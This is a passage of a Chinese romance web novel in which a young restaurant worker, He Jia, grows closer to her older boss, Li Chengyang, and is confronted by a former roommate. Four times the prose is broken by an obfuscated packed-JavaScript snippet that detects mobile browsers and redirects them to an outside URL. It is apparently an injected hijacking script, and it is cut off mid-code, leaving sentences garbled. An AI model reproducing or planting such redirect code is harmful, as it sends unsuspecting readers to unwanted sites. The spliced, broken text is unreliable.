“醒醒,小妹儿?醒醒!” 再睁眼的时候公交车司机站在她身边。 “到站了啊,最后一站了!你咋个睡着了哦,搞快看一下是不是你要到的站!” 何嘉往窗外环视一周,写着“安城至余川”的大巴早就开出几公里了。 她连忙道歉:“不好意思啊叔叔,我有点累就睡着了。” “没事没事,下去吧。” 何嘉下来的时候一看时间,19:39了! 距离她上车的时间过了整整就九分钟! 她赶忙走到卖票处去问:“不好意思,七点半那趟安城到余川的车开走了吗?” 售票员说:“都过了十分钟了,早走了。” “啊,”她只好问:“那可以退票吗?我没来得及赶上。” 售票员说:“个人原因没赶上不行的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242341|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她急了:“可是我人没上去呀?不可以退吗?退一半也可以啊?” 售票员无语:“你订票的时候也占了位置啊,你订了别人就买不了了,而且发车后你自己没赶上的话我们不予退票的。” “可是我人没上去嘛!” “我知道,我们规则就是这样,发车后个人原因不予退款。” 两人又来回好几句,何嘉见他实在没商量的余地,只好失魂落魄地坐在路边的花台。 “唉。”她长叹一口气。 “唉。”旁边一个和她差不多年纪的女孩一样叹气。 她们相视一眼,女孩问她:“你好,你也没赶上车吗?” 何嘉点头。 女孩指了指身旁的几个人,“我们也没赶上。” 她身边三个人,其中一个男生说:“哎,既然我们都没赶上,要不要拼个车啊?” “拼车?”何嘉看向他。 话音刚落,不晓得从哪儿冒出一个中年大叔。 “同学们同学们,你们是要找车哇?” 一行人望着他说:“你有车?” 大叔眼睛亮了:“我就是专门开车的噻。”他指着自己的车,上面写着“安城往返余川”。 “你们几个人啊,我看看,五个是吧,我这面包车刚好拉一车啊!这样吧,你们一人一百,划算嘛,我把你们拉到余川肯定比坐大巴快噻!” 那个男生说:“大巴卖两百你卖一百?你这一个黑车那么贵!” 大叔不高兴了:“什么黑车黑车!我有证上路的好不好!切,两百的大巴你们没赶上,现在不坐一百的面包车就算了呗,反正最近天气冷,你们不怕冷就捱着。” 刚才的女生听他这么说,有点心动了:“诶大家,要不坐他的车吧,我们一起有好几个人,应该挺安全的,再说了刚才没赶上大巴,等下一辆都凌晨了。” 那男生想了想觉得在理:“那也可以吧。”又转头看了眼何嘉:“哎这个同学,你一起吗?” 何嘉本来担心这种车不安全,但看他们有四个人,觉得应该凑合。 “好,我也一起。” 大叔支着耳朵听他们讲话,听到满意的答案又跳回来:“哎呀,年轻人就是脑袋好使!还是知道我要划算一点的!快上车吧,安全带系上啊!” 何嘉跟一个女生挨着坐,两个人都内向不喜欢讲话。 车里的暖气开得足,不一会儿何嘉的困意又上来了。 就睡一小会儿。她提醒自己。 一路上大叔不停和那个男生吹牛,两个人从辛亥革命讲到美国加息,各自有自己汹涌澎拜的见解,简直是相见甚晚。 何嘉在后边听得更困了。 头悬在空中点一点,彻底忘记时间。 再次醒来,还是被大叔的声音吵醒—— “哎呦我操!” “怎么了怎么了?”坐在何嘉前面的女生说到。 大叔站在外面检查轮胎,只见左边的轮胎瘪下去,看上去形势不容乐观。 再看一看,真的是火冒三丈:“哦豁!老子真的遇得到哦!车子爆胎了!” 那个男生也下车去看,“啊?那怎么办?现在到哪儿了?” 大叔朝前一指,“余川收费站。还是多幸运的,刚到余川就爆胎了,幸好没爆在半路上。” “这还没到市区啊,那我们怎么回去?”两个女生下车围住大叔。 大叔咂咂嘴,说:“哎呀,只有你们自己打个车回去了,要不就在服务区待一晚上,等明天拖车的过来。” “那不行啊,你收一百是包我们到市区的。” “哎呀哎呀,特殊情况嘛,谅解一下撒!” “那不行,你退二十,我们打车回去了。” 大叔肉痛:“得得得,都下来嘛,一人扫八十走人。” 何嘉也跟着下车扫了八十,然后就站在服务区不知道怎么办了。 已经快十点,早就过了正常的回店时间,想必饭馆早就关门了。 她打开滴滴,发现从这儿回饭馆竟然要五十八! 怎么不去抢钱! 她实在是觉得心痛,都怪自己在公交上睡过了。都二十多的人怎么还犯这种低级错误。 唉。她在犹豫中按下打车键,一个电话突然闯进画面。 瞥到对方名字的时候她的眼神亮了亮,声音里多了一丝期待。 “喂?老板?” 李成杨充满磁性的声音就在她耳旁,带着一点点沙哑。 他问她:“不是说九点?还没回来?” 17. 第17章 何嘉回答:“我现在困在路上了,可能还要一会儿。” “怎么了?” “就是,回来的路上,车子抛锚了。” “你到哪儿了?” 何嘉看向面前亮着的几个大字。 “就在收费站附近的服务区。” 李成杨默了半秒,“你怎么回来?” “我可能要打个车。” “已经十点多了。” 她说:“那也只能先打车了。” 他却说:“找个地方坐着,定位发我。” “……老板,你要来接我?” “嗯。” 她慌了,“不用的不用的,已经很晚了,我自己打车回来就行的。” “已经很晚了。”言下之意是不安全。 何嘉看了眼滴滴,还没有司机接单。她有点犹豫但又觉得不好意思麻烦他。 毕竟这么些天好像已经给他添了很多麻烦。 “发定位,不然更晚了。”他催促。 “好吧,麻烦老板了。”她发出一个定位链接。 对方没再回复。 夜晚的服务区人星寂寥,何嘉坐在一棵树下发呆。 冷风呼啸,她把外套领子拉到最高,确保半边脸也不受风吹。 她身上的外套是李成杨那天要她买的,现在确实是起到了作用。 他怎么会来呢? 她摸出昨天保存的照片,他的表情无奈。 “你为什么总是正好出现?” 呼出口热气,天边的雾色深了。 李成杨行驶在绕城高速上,手指有一搭没一搭地敲着方向盘。 当他疑惑自己为什么要去接她的时候,已经走了大半的路程。 驶进服务区,他四周环顾了下,一个女孩抱着腿蜷在树下,小脸埋在外套里看不见神色。 她的发顶竖起几根头发,被灯光照得发光。她不知所谓地动了动脑袋。 他朝她开近,摇下车窗。 “何嘉?” 她抬头看他,眼睛亮了。 “老板!” 他扬扬头:“上车。” 何嘉很快坐上他的副驾。 暖气包围她的四肢,她忍不住搓了搓双手。 他看她,问:“冷?” 她摇头,边系上安全带,“里面很暖和。” “嗯。” 汽车重新行驶在路上,白灯劈开一半夜色。 何嘉看向他的侧脸,偷偷打量他。 他今天没有穿工作服,反而穿了一件黑色的羽绒服,和她身上的款式差不多。 这还是她第一次见他穿便服的样子,看起来很年轻,全然没了平时威严的气质,更像是邻家的哥哥。 “怎么了?”他扫了她一眼。 她说:“老板,你真的一点都不老。” “?” 李成杨冷不丁笑了一下,“我知道。” 何嘉解释:“我的意思是,你这身衣服很适合你。” 他又看她一眼,拖长尾音:“那平时穿的工服就不适合我了?” “没有没有,老板你穿什么都挺有气质的,还是很年轻的。” “嗯,比不上你年轻。” 她没回答,悄悄盯了他几眼。 意识到什么后又说:“老板,我刚才不是说你老的意思!” 李成杨说:“嗯,我也没那么老。” 何嘉试图再解释:“老板,我不是故意提你年龄的事,我就是看你穿这件衣服,呃…非常好看,对,我想夸夸你的……而且我觉得三十多岁真的不算老,还是很……” 小姑娘越说越小声,最后说什么他真没听见。 “不用解释。”他决定放过她。 她真的没再说话。 不过,他心里突然开始有点怀疑,难道他看上去真的很大了吗? 他余光瞟到她那边,她还沉浸在懊悔中一言不发。 和她相比,确实不再那么年轻了。 他以前都没有意识到有关于年龄的实感。这个从来不在意的话题,不知道最近怎么在他心里泛起一圈怪异的情绪。 他也不说话了。 何嘉以为他在生气,主动戳了戳他的手臂,“老板,对不起,你生气了吗?我真的没有别的意思,你不要多想。” 末了添上一句:“好不好?” 李成杨听见后面三个字,内心的怪异更深了。 “我没多想。”他挤出这句话。 何嘉的视线落在他脸上,很固执:“真的吗?你都不说话了,我以为你生气了。” 他撇过脸不看她,一直目不斜视。 “没有。” 何嘉却觉得他语气变得好冷漠,“老板你肯定生气了,你大老远来接我,我还说这种话,你生气是应该的。” 李成杨无奈:“我没生气,我在开车,不方便分心。” 她还问:“真的吗?” “真的。” “那好吧。” 她总算可以安安心心地坐着了。 一时间旁边的小人儿放下心来,整个人瘫在座椅上发呆,刚才的紧张烟消云散。 李成杨没忍住瞥她一眼,心中怪异的感觉一直挥散不去。 果然,年轻人的情绪来得快去得也快。 他得出这个结论,轻微地摇了摇头。 何嘉刚才在车上睡过了,现在精神无比抖擞。她本来不是多话的人,但现在和他单独呆在一块儿,不知怎么就想再和他说说话。 她转向他的那一侧,贴在靠椅上问他:“老板,你今天为什么要来接我?” 李成杨在来的路上也思考过这个问题,但是没有得出一个确切的答案。 他忽然想起昨天张壅的话:年轻人揪着无聊的话题不放,要么是心情不好要么是想和某人聊天。 那么他将原因归咎于第一个结论。 “昨天看你心情不好,怕你今天和家里人吵架要离家出走。” “嗯??”何嘉诧异地看着他,不相信他又要开始说冷笑话了。 但是他很认真:“怕你这两天心情不好又遇到坏人,到时候我还得去找你。” 她愣了一下说:“为什么要来找我?” “你说呢?”他转头和她对视。 她又看到他嘴角的那颗小痣,棕色的,若隐若现的。 “我不知道。”她的心脏开始跳动,带着一点点期待。 “那你知道一下。”他弯唇,脸上的酒窝显现出来,“你在我店里上班,又住在我店里,假是我批的,人是我看着走的,现在又在回店里的路上,要是出事了我不得担点责任?” “是这样吗?”她有一点小小的失落。 他说:“是这样,我得负责。” 他得负责。 她对他来说是一种责任。 照顾她,只是出于一种老板对员工的责任,再不济也是长辈对晚辈的看顾,他必须要保证她的安全。 除此之外他想不到其他的原因。 可是何嘉听到这句话的时候睫毛颤了颤,他说,他得负责。 从来没有人说过要为她负责。 就算是仅仅被当作一种责任来对待,也是没有过的。 细数认识他的时间,他总是会在她需要她的时候正好出现,他这个人现在还在说什么要负责的话,让她怎么能将目光从他身上移开呢? 她朝他靠近,有意眨眼。 “老板,我告诉你个秘密。” “什么?” “其实我没有和家里人吵架,因为我根本没有什么家人了。我这次回安城是为了去看我阿婆。” “嗯?” “我阿婆年纪大了,她一直生病住在养老院,我这么多年都是自己生活的。但是我觉得也没有什么,昨天的话,只是有点伤心,因为感觉她就要撑不住了。” 她说这些话的时候很平静,就像是在讲别人的事情一样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他仍把着方向盘,心思全在她刚才说的那个秘密上。他忽然产生一个连自己都讶异的想法,他想知道她是如何独自上学,又是如何独自长大的。在她身上究竟发生过怎样的事情? 可她却说起了个别的话题。 他一直走神,无意间听到她问了句“是吧?”,他随口回答:“应该是。” 小姑娘惊愕地看着他:“老板,真的啊?” 李成杨“嗯?”了声。 何嘉说:“你真的谈过那么多对象吗?” 他脸上三条黑线,“你刚说什么?” “我说,你长得很好看,应该谈过很多对象吧。” “……没有。” “没有吗?你刚才说是。”她不信。 “你听错了。”他反问她:“你长得也很好看,难道你谈过很多对象吗?” 她一下红了耳朵:“没有。” 过了半瞬又说:“一个也没有。” 他赞同:“嗯,挺好。谈对象也没有什么意思,你还年轻,主要是努力学习努力工作。” 何嘉努努嘴:“你怎么知道没有意思,你当时分手闹得很不愉快吗?” “你今天话太多。”他偏过头不理她了。 好吧。老板都三十多的人了,怎么可能没有谈过恋爱,反正他现在是单身就好啦。上次舒舒姐说过,他们都没听他这十年间找过对象,那就是说他上一任对象应该是大学时期谈的。 老板的大学时期,那都是十多年之前了,太久远,谁会把十年前发生的事情记那么清楚? 想到这里,何嘉心满意足地笑了。 李成杨觉得她的光芒太刺眼,不知道她又在高兴什么。 “你今天,还挺放纵。” “我怎么了吗?”她立马坐起来。 他抵了抵牙关,慢条斯理地说:“老板的私人问题都敢打探,不算放纵?” 她一想,今天在他面前确实比之前要放肆一点,除了跟他说了更多的话,跟他的相处方式也更放松了。 她吸了吸鼻子,假装知错:“我只是好奇,下次不会这样了。” 下次还会这样的。 他轻嗤一声:“知道就好。” 不知道。 何嘉现在只知道,李成杨这个人才没有那么严肃,就算是放纵的话也不会凶她打她屁股。 18. 第18章 汽车抵达饭店的时候已经过了晚上十一点。李成杨将车子停在路边和何嘉一起下车。 “老板你还要回饭店吗?”何嘉问他。 他朝前一指,停在门帘上的一个平台。 “钥匙放上面了。” “你不是说放花坛里面了吗?” 他站在花坛上将它取下来,“不安全,放上面没人够得着。” 她却听出了别的意思,那就是说他早就决定要来接她了,不然不会临时换位置。 “老板,你一直在店里等我吗?”她朝他走近,拿过他手里的钥匙。 他后退,身体微僵,“不是。” “哦,那你没有告诉我钥匙换地方了。” “我忘了。” “这样啊。”她露出两个梨涡。 “嗯,很晚了。”他掩盖脸上一瞬间的不自然,“回去吧。把门窗锁好,注意安全。” 她偏不,故意又朝他走进一步。 “老板。” 墙上的爬山虎只剩枯枝,在风里轻轻飘荡。 他紧闭嘴唇,向后退。 “还有事?” 她的脸颊在阴影中看不清晰,但他可以闻到她发顶的香味,和他从前每次闻到的味道一模一样,很淡,是兰花的气息。 这股味道扰得他头疼,眉毛微微皱起来。 她仰起头打量他的眼睛,如果路灯再亮一些,她就能在他的眼中看见自己的黑影。 “你……”他想说什么。 风声拂过他们之间的距离,连呼吸都听得清晰。 “你要不要吃糖啊?”她突然从口袋里摸出一个塑料包装。 淡绿色的,一整个圆球形,上面画着一只戴着围巾的北极熊,和绿葡萄的藤蔓。 “吃吗?” 他沉着声音说:“不吃。回去吧。” 她的眼睛里有星星。 “你不喜欢上好佳吗?我觉得这个八宝果糖挺好吃的。” 他怕她追根问底,向她慢慢伸出手心。 他的手掌很大,指腹生了一些薄茧,悬在空中的时候骨节分明,连着他手腕凸起的桡骨,看上去清晰有力。 她将糖果轻轻放在他的掌心,离开之间触碰到他的皮肤,一阵微热,是他手心的温度。 那颗糖果就这么躺在他的手里,体积变得更小。他垂眸看了它一眼,觉得手心很痒。只一秒,他将糖果攥在手里,再也看不到它的踪影。 他面前的姑娘还弯着眼睛看他,丝毫不觉得自己做了什么不合适的举动。 他喉结滚动两下,忽然偏头将视线移开。 “何嘉。快回去。” 她乖乖走进室内,隔着玻璃门里他挥手,“老板,路上注意安全!” 他走了,故意没有回头。 她还盯着他的背影,止不住笑意。 他接受了,是他自己接受的。那他就要付出接受这颗糖的代价。 她知道自己是一株漂泊的藤蔓,从来不渴望攀附谁的生命。可他如同沉默的山一般出现,给了她整座向上生长的土地。 她忍不住想要缠绕他的生命。 寒风继续呼啸,无人发觉的街角路过两个行人,他们互相说了句什么,很快就消失不见。 余川的另一边。 某个小区的十一楼亮起灯,在黑夜中分外明显。 李成杨脱了外套仰靠在沙发上,全身失去力气。 他脑子乱糟糟的,何嘉刚才问他的问题一直萦绕在他的脑海里。 他是一直在店里等她吗? 分明是很简单的话题,他竟然犹豫了。 一开始他只是记起她说过晚上九点会回来,那么他就在店里坐着玩会儿手机,可一直到快十点的时候她还没回来。 他不知道怎么有点担心了,于是给她打了个电话。好在没有出事,她只是说自己困在路上了。 他不是专门在等她,对吧? 李成杨扯过外套,从里面摸出那颗葡萄味的上好佳。 包装在手心有点硌手,他撕开它含在嘴里。 一股甜意充满他的口腔,他将糖果咬在嘴里换了个位置,上颚一阵刺痛。 是糖上裹着的白糖还没化,不小心划开他嘴里的皮肤。 “长辈照顾晚辈,天经地义。”他喃喃自语。 接下来的好几天何嘉都没有见过李成杨。那天之后他再也没有回过饭店。 她有时候问张壅:“老板这几天不来吃饭吗?” 他说:“不晓得。” 她又问张姨:“老板平时工作都不休息吗?” 张姨说:“他们没有周末的,但是一个月有四天休假,这个月不知道开始休假没有。” “这样啊,那他一般什么时候休假?” “估计最近?或者月末,我们也不是很清楚。” 张壅狐疑地看着她:“你干嘛?找他有事?” 她说:“没有。” 他当然不信。 “你找他打电话不就行了非得见他?见他干嘛?他来了我还要多做一个人的饭。” “没有,没有要见他。” “我看你……算了,管你的。” “哦。” 今天店里不忙,自从学生放寒假之后没有多少外卖单子,只有几桌面生的散客。 “小嘉——来客人了!”蒋姨提醒何嘉。 何嘉提着水壶走过去,一男一女都戴着帽子,看上去是年轻人。 “你好,我帮你们倒水。”她的声音很有礼貌。 其中的女孩将杯子推给她,忽然抬头。 何嘉看到她的时候明显愣了一下,但装作什么都没发生的样子微笑。 “请问你们现在要点菜吗?” “点呀。”郑亦然将手中的菜单递给对面的男生说:“你先看有没有想吃的。” 那个男生抬头看见何嘉的时候也略微怔住。他跟何嘉打招呼:“哦?你现在在这儿兼职?” 何嘉说:“嗯。” 他没再多问,反而把菜单推给郑亦然。 “小宝你看看还有没有想吃的?” 郑亦然朝他笑笑:“乔乔你点好了就可以了,我都吃的。” 乔朔又勾了几个菜,把菜单还给何嘉。 “我们点好了。” “好的。” 何嘉将单子递给后厨,回来的时候看见他们的视线黏在自己身上。 她站在饮水机旁边,试图将自己的存在感降到最低。 “乔乔,我们下午去这里逛街好不好?”郑亦然把手机递到乔朔面前,“这个商场我真的想去很久了。” 乔朔一脸宠溺:“听你的,想买什么就逛一逛,我负责买单。” “好耶!”郑亦然的视线有意无意落在何嘉这边。 何嘉内心没有波澜,对于他们的出现没有过多的情绪。她只是很奇怪,郑亦然不是说自己在外面实习吗? “服务员——” 乔朔朝她招手。 何嘉走到他们身边,“请问需要什么吗?” “加点水。”他指了指桌上的空杯子。 “好的。”她一直脸色平静。 他们的菜很快做好了,何嘉依旧没什么表情地替他们上菜。要是非要说什么表情的话也只是微笑,非常客气、专业。 “服务员——” 菜刚上齐的时候乔朔又朝她招手了。 何嘉走过去,“请问还有什么需要的吗?” 乔朔瞥她一眼,指着桌上的蒜蓉莴笋。 “你没告诉我这是蒜蓉的啊,亦然和我都不吃蒜蓉,帮我们换成炝炒的吧。” “不好意思。”她还是微笑:“我们店里默认的是做蒜蓉的,需要改成炝炒的话需要等会儿哦。” 郑亦然看了乔朔一眼,又对何嘉说:“没关系不用换,蒜蓉的也可以。” 何嘉看向乔朔,“那请问是换还是不换呢?” “换。”他态度坚硬。 郑亦然拍了他一下,朝何嘉露出一个歉意的表情。 但何嘉只说:“好的。” 那盘菜被她端回后厨,张壅问她:“怎么了?” “他们不要蒜蓉的。” “啥?菜单上不是说了莴笋默认蒜蓉吗?” 何嘉说:“不知道,他们说要重新炒一份炝炒的。” 张壅无语:“我真的遇得到,要炝炒不知道早说啊?菜单上那么大的两个‘蒜蓉’看不见?服了。” “麻烦了。” 重新炒好炝炒莴笋,他们正好吃完半碗米饭。 “不好意思,重新炒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何嘉很诧异,“为什么告诉我这个?” 郑亦然咂嘴,眼睛弯了弯,“大概就是因为你好像,无时无刻都是那副微笑的样子吧,就算你早就感觉到谁和谁之间的氛围不对劲,但是你不会说,你总是假装什么都没发生。” “是么。”何嘉朝她弯唇,“你还想说什么?” “看,就是你这副样子。”她忍不住想笑:“就是你这副明明心里已经开始不爽,但表面上还要维持体面的样子。” “嗯,然后呢。”何嘉的眼神静漠。 “何嘉,我们之前玩得还不错吧,但是你知道后来为什么我就不跟你玩了吗?反正快毕业了,我就跟你直说了,我其实,特别不喜欢你。” 何嘉盯着她的眼睛,心里泛酸。 “为什么?” “为什么?可能是你假装清高的样子让我特别不舒服。大一那会儿就是这样,你明明心思很多也很敏感,寝室里谁对你好谁对你有恶意,你其实全都清楚,但是你多高尚啊,你从来不参与这些事,就算有谁故意对你不爽,你不还是面上笑嘻嘻的假装不知道。” “那怎么了吗?我没有伤害任何人,我只是不想弄得大家尴尬。” “不不不,你最讨厌的就是这一点,你总觉得自己忍忍,一个劲儿觉得自己清高,你可以随时随地为了讨好别人而忍耐,这一点让我特别不爽,让我觉得你很假,你从来不像她们一样有什么说什么,你是整个寝室里最假的。” 何嘉沉默,喉咙里的涩意涌上来。她从来不知道郑亦然是这么想她的。 郑亦然却近乎嘲讽地笑了笑:“怎么?觉得我把话说重了?” “没有。”她将那股涩意咽下喉管。 “有的。你现在应该很不爽我,但是你不还是说没有吗?你以为的善意真的好天真,让我觉得自己像恶人一样。但你怎么会天真呢?一个从小就要一直兼职给自己挣生活费的人,不可能天真的。” “郑亦然,你到底想说什么?你今天来就是为了数落我一番?” 这次何嘉抬头,坚毅地对上她的视线。 19. 第19章 “不是啊。”郑亦然又翻出一张照片,“是为了给你看这个的。” 照片里的两个人互相对视,男人向面前的女孩伸手,女孩正好在他的手心放置一颗糖果。 女孩是笑着的,神色昂扬。 男人有些僵硬,但气质温和。 是她和李成杨。 “你什么时候拍的?”何嘉皱了眉头,语气不悦。 郑亦然立马收回手机,“就最近,某个晚上吧,那天我和乔朔正好回余川收拾东西。” “所以呢,你拍这个是想说什么?” “我也没别的意思,我就是想说,我好像认识他。” 何嘉攥紧手掌,指尖嵌在肉里。 “你认识他很正常。”她尽量保持冷静。 “当然正常了,我这几年去拿快递经常遇到他。他不就是学校那个快递员吗?”郑亦然边说边四周环顾,“怎么?那天听你叫他‘老板’,这家饭店是他开的?” 何嘉的语气带上一点不耐烦:“这和你无关,你要是没事的话可以走了,我还要上班。” “你生气啦?”郑亦然凑到她耳边,轻飘飘地说:“你为什么生气?他是你男朋友?还是他包养你了?” 何嘉推开她,真的生气了:“郑亦然你到底什么意思!” “你生气了。那就证明我说得大差不差吧。何嘉,你看你确实没有那么天真,你挺现实的呀,那你到底在清高什么?你现在不也找个了比你大那么多的吗?他给你很多钱吗?还是说你觉得和一个快递员搞在一起很体面吗?” “郑亦然!”何嘉捏住她的手腕,力气大得她忍不住倒吸一口凉气。 “郑亦然,我搞不懂你今天到底来干嘛的,明明都快毕业了,你跑到我面前来说这些干什么?你想吵架?你不喜欢我就不喜欢,你非得跑到我面前来说这些?还有,我跟他不是你想的那种关系,我拜托你把你那些上不得台面的思想收一收!” 郑亦然想挣开她,但是动了几下都没成功。 “何嘉,放开我!” “我生气了。”何嘉瞪着她的时候很愤怒。 “那怎么样?我说错了吗?”郑亦然不动了,反而继续笑:“乔朔之前追过你吧,他家里那么有钱,你不是看不上人家吗?现在成了我对象,你真的不介意?也对,毕竟你一向善良对谁都不介意,只是我以为你会找个更好的。” 何嘉也开始冷嘲热讽:“乔朔?之前追着我说要当舔狗的那个?不知道追过几个都这么说呢?有钱是有钱,但谁知道他在外面到底是个什么货色?” 郑亦然咬咬牙齿,和她对峙:“你好意思说他?我倒是没想到你和那个送快递的搞在一起了,你知道多难看吗?快递员?哦说好听点是饭店老板,怎么着?饭店老板包养女大学生?说出都觉得丢脸!” “郑亦然你不要太过分了!”何嘉仍然捏着她的手腕,力气更大,故意使坏。“我再说一遍,我和他是很正常的老板和员工的关系!你脑子正不正常?嘴巴会不会说话?你觉得污蔑别人就很有脸了?!” 郑亦然垂眼和她视线齐平,突然很不屑地说:“你喜欢他?你也不看看自己几岁人家几岁?他一个三十多的大叔,比你早出社会十年,你们根本不是一个阶段的人,你指望他的钱?还是指望得到他的真心?” “我不用你来说教!”何嘉不甘示弱:“你要是有这个闲心来管我,不如去查查乔朔在外面乱搞脚踏几条船,大家都知道就你不知道!” 郑亦然却无所谓:“那又怎么样?我用他的钱,他还给我情绪价值,你那位呢?比你大那么多,早经历了你这个年纪期待的一切!你还指望他对你多真诚?你他爹的别幻想了。” 何嘉一下子哑口无言。 她的语气依旧尖锐:“何嘉,我以前嫉妒过你,凭什么你这种条件的都能拒绝乔朔?但是现在,我看你找了这么个跟你年龄身份都有差距的人,我只想说,你很笨。” 何嘉盯着她的眼睛想反驳,但这次反驳的话怎么都说不出来。 她感觉心间被数不清的细针捅穿,密密麻麻,刺痛一直从胸腔涌上喉头。她说不出话。 “不说话了?”郑亦然扯开她的手,“不说话就别说话。” 何嘉试图挽留她的背影,她要说几句辩驳的话,她应该辩解的,不仅是为自己更是为他。可是她一下子真的说不出话来。 她的指尖悬在空中,喉咙被一阵苦意压满,那瞬间她想要喘气,但是不知怎么空气越来越稀薄。她像个溺水的求生者,内心恐惧的时候呛了几口海水,喉头又咸又腥。 这次没人救她。 为什么不说话?为什么说不出话? 难道她自己也认同郑亦然说的话? 她说的有错吗? 她说的是事实。 这是谁都清楚的事实。 他们之间横着十年的距离,除了身份和年龄,还有很长一截阅历。在她还是个什么都不懂的小孩时,他就已经见过这个社会的形形色色。 那么她,如何能指望一潭死水再为一片花瓣掀起波澜?他的春天已经过了。 何嘉还站在原地,脚上灌了铅一样无法动弹。 为什么每当她想要小小地幻想一下,就会有人提醒她这是不应该的? 她又没有奢求什么。 可不可以要提醒她?她不是不清楚,她只是不想清楚。 墙上的指针嘀嗒嘀嗒。时针指到九点整的时候,天空飘落几滴雨点,而后越下越大,湿气混着冷气禁锢她血液里的热气。 今年的余川怎么会下雨? 那雨是下在她心上。 何嘉带着这片雨天回了二楼。 这个月她都住在那个包间改造的卧室。 卧室里散着她的东西,但不是很多,桌子上有她的电脑,床边挂了两件换洗的外套。 屋内很静,只听见雨滴打在窗户上的沙沙声。她打开窗户让雨点挤进房间,伸手去摸雨的形状。 楼下就是那天他和她站着说话的花台,他真的好几天没有出现过了。 “为什么你这几天都不来?” 无人回应。 她的睫毛上沾了两滴雨水,她又想起郑亦然说的话。 “我才不要见你。” 她心里又酸又委屈,气鼓鼓地说出这句话。 室外的雨越下越大,水珠一股脑儿吹进窗台,何嘉惊呼一声关上窗户,几片水渍浸在木地板上。 “啊,应该没事吧?怎么会那么倒霉。” 这可不是她的家,要是把地板泡坏了,李成杨不会要她赔吧? 想到这里她又扯了两张纸,在地上擦了好一会儿之后又气得不行。 “什么玩意儿啊!一天天的就没好事儿!” 还是没人理她,她自顾自在地上坐了好一会儿,想不通也无处释放心中的憋屈。 她忽然抬手将手里的纸团往前一扔,直直砸在床边挂着的外套上。 那件外套是她自己的,穿的年头太久,已经被洗得泛白。 她起身捡起纸团,蓦然想到什么,又取下那件外套,在口袋里摸了几下,摸出一片叶子。 那片叶子原本是金黄的,现在却已经变成枯萎的棕色,但是形状没有太大变化,还和那天捡到它的时候一样,是爱心形状的。 她记起来了,就是那天晚上,她回寝室的时候遇到李成杨。 他当时叫她不要叫他“老板”。 她还思考半天应该叫他什么,甚至真的叫了他“叔叔”。他当时的表情可精彩了。 何嘉弯弯嘴角,就是那个晚上她住进了这里,原本属于李成杨的房间。 不知道怎么,她觉得自己也没有那么气了,就连伤心也少了一点。 她忍不住拿出手机,翻到他的聊天框。 她问:【你最近回来吃饭吗?】 对方没有回复。 何嘉知道他向来不会秒回,于是放下手机先不管。 她捏着那片心形的叶子站起来,视线落到墙边的桌子上。这张桌子是木质的,自带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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另外好几个大哥一阵哄笑:“领导?我看怕不是老婆查岗哦!” 圆润大哥惊呆了:“李成杨你啥时候结的婚哦?我们哥几个都不晓得喃?好几年没聚把我们都忘了啊!不够意思哦你!你今天不多喝几杯走不脱!” 李成杨辩解:“别乱说,没结婚。” 眼睛哥继续笑:“哦晓得了,没结婚就是对象!你好久谈的对象啊?都没听说过,有没有照片给我看一下?” 他猛灌一口酒,无奈地说:“不是对象,就一个妹妹。” 圆润哥表情狡黠,“对对对,就你妹妹多,高中那会儿就有好多姑娘想当你妹妹了哈。但是没想到啊!咱们寝室到现在都没结婚的竟然是你!结果眼镜儿倒是英年早婚,大学一毕业就结婚了。” 被提及的眼睛哥笑了笑,开始炫耀:“没办法,我娶了个好老婆,跟你们说都说不明白!” 李成杨跟着一起笑,指了指饭桌对面的瘦子哥,“当年瘦子也喜欢你老婆。” 瘦子哥猛地瘪嘴,“李成杨你欠揍啊!说什么呢!” 眼睛哥一听这话,急眼了:“什么时候的事儿?!我都不晓得!是我结婚前还是结婚后?!” 瘦子哥被他一个锁喉,认命地说:“读书的时候!暗恋暗恋!暗恋懂不懂!” 他们扭在一团互相灌酒,李成杨在一旁笑出酒窝。 瘦子哥哪能放过他,拿起酒瓶就往他嘴里灌,一时间他也喝了不少酒。 等全身都变成红色的时候,他感觉大脑开始恍惚。 何嘉那天笑着给他递糖的样子浮现在他眼前。她的气味,她的眼睛,还有她笑起来像星星。 他又拿出手机,找到那个小猫头像。 打出几个字—— 【明后天回。】 20. 第20章 何嘉的手机在桌子上振动一下,没有人理。 二楼的洗手间传来一阵淅淅沥沥的水声。 何嘉刚才打了两桶热水上来洗澡,刚洗完身上,现在正忙着和头发作斗争。 那瓶兰花味的飘柔被放在地上,已经用了一小半。 她弯腰蹲在塑料桶边,头上满是白色的泡沫。她的头发又密又长,只是发尾有些轻微泛黄,但她舍不得剪,就忍着这么一直洗了半个小时。 “呼。”她直起身冲掉发丝上随后一点泡沫,几乎耗尽了全部力气。 一根毛巾迅速在发梢揉搓几下,差不多可以收尾了。 何嘉踢开水桶朝镜子走进,里面映照着一个面容年轻的姑娘。她的额头光洁,皮肤瓷白,脸颊因为刚才的动作微微发红。 